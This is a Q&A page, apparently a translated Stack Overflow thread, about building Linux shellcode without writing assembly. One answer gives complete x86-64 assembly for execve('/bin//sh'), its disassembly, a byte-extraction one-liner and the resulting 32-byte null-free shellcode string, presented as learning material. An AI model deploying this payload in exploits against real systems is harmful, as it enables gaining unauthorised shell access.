【问题标题】:Construct a shellcode without messing with assembly构造一个shellcode而不弄乱汇编
【发布时间】:2017-04-12 02:22:58
【问题描述】:

不写汇编代码就可以构造shellcode吗?

我尝试编译以下简单的应用程序:

#include <stdlib.h>

int main(int argc, char** argv)
{
        char* args[] = { "/bin/bash", NULL };
        execve("bin/bash", &args, NULL);
        return 0;
}

然后我编译它并使用gdb得到以下内容:

(gdb) x/15i main
   0x400506 <main>:     push   %rbp
   0x400507 <main+1>:   mov    %rsp,%rbp
=> 0x40050a <main+4>:   sub    $0x20,%rsp
   0x40050e <main+8>:   mov    %edi,-0x14(%rbp)
   0x400511 <main+11>:  mov    %rsi,-0x20(%rbp)
   0x400515 <main+15>:  movq   $0x4005d4,-0x10(%rbp)
   0x40051d <main+23>:  movq   $0x0,-0x8(%rbp)
   0x400525 <main+31>:  lea    -0x10(%rbp),%rax
   0x400529 <main+35>:  mov    $0x0,%edx
   0x40052e <main+40>:  mov    %rax,%rsi
   0x400531 <main+43>:  mov    $0x4005de,%edi
   0x400536 <main+48>:  callq  0x4003f0 <execve@plt>
   0x40053b <main+53>:  mov    $0x0,%eax
   0x400540 <main+58>:  leaveq
   0x400541 <main+59>:  retq

很遗憾,我不能使用它来生成 shellcode,因为使用了全局偏移表 [main+48]。

如何修复此方法以生成 shellcode 而无需返回汇编。

【问题讨论】:

  • 我不认为你可以让编译器生成可以直接用作shell代码的代码。

标签: assembly exploit shellcode


【解决方案1】:

你不能。

C 编译器不知道如何直接生成系统调用。它所知道的只是调用函数——它使用 GOT。

(您可以通过使用内联汇编程序来解决此问题,但这仍然是“在汇编中编写代码”,您说过要避免这种情况。)

除此之外,您还会发现 C 编译器会生成偶然包含空字节的程序集。这在许多应用程序中都不起作用。

了解如何编写程序集,或使用其他人的 shellcode。

【讨论】:

    【解决方案2】:

    这是一个使用 /bin/sh 和堆栈方法的示例,以导致使用 execve 打开 shell。

    我目前正在学习 Security Tube 的 Linux 汇编 64 位课程以及阅读 Hacking,The Art of Exploitation,Jon Erickson;它使用 x86 程序集。

    ; David @InfinitelyManic
    ; execute_shellcode_stack.s
    ; nasm -felf64 -g -F dwarf execute_shellcode_stack.s -o execute_shellcode_stack.o  && ld execute_shellcode_stack.o -o execute_shellcode_stack
    ; code from course: http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/
    ;
    section .bss
    section .data
    section .text
            global _start
    _start:
            ;  <syscall name="execve" number="59"/>
            ;  int execve(const char *filename, char *const argv[], char *const envp[]);
            ;  x86_64                 rdi                   rsi                 rdx       r10 r8 r9
    
            xor rax, rax                            ; null
            push rax                                ; push 0x00
    
            ; we need /bin//sh in hex in reverse
            ; rev <<< "/bin//sh" | xxd -g4
            ; 00000000: 68732f2f 6e69622f 0a                 hs//nib/.
    
            mov rbx, 0x68732f2f6e69622f     ; hs//nib/ ascii
    
            push rbx                        ; push '/bin//sh' to stack
    
            mov rdi, rsp                    ; _filename = '/bin//sh'0000
    
            push rax                        ; second null 0x00 ""
    
            mov rdx, rsp                    ; envp = array of strings == null
    
            push rdi                        ; push _filename
    
            mov rsi, rsp                    ; argv = array of argument strings  = _filename
    
            add rax, 59                     ; syscall # for execve
    
            syscall
    

    objdump:

    execute_shellcode_stack:     file format elf64-x86-64
    
    
    Disassembly of section .text:
    
    0000000000400080 <_start>:
      400080:       48 31 c0                xor    rax,rax
      400083:       50                      push   rax
      400084:       48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f
      40008b:       2f 73 68
      40008e:       53                      push   rbx
      40008f:       48 89 e7                mov    rdi,rsp
      400092:       50                      push   rax
      400093:       48 89 e2                mov    rdx,rsp
      400096:       57                      push   rdi
      400097:       48 89 e6                mov    rsi,rsp
      40009a:       48 83 c0 3b             add    rax,0x3b
      40009e:       0f 05                   syscall
    

    为 C prog 生成 shellcode:

    $ for i in $(objdump -d execute_shellcode_stack | grep "^ " |cut -f2); do echo -n "\x"$i; done; echo
    \x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
    

    输出:

     $ ./shellcode
    Shellcode Length: 32
    $
    

    【讨论】:

    • 也许你错过了它,但提出的问题是“是否可以在不编写汇编代码的情况下构造一个 shellcode?​​i>”。您的答案仅使用汇编语言。
    • 是的,我知道这个问题,但我的回答并不全面。 OP 和其他人可以选择不允许答案或将其标记下来。只是在“学习如何编写程序集,或使用别人的 shellcode”的上下文中提供一些帮助。
    猜你喜欢
    • 2018-02-26
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多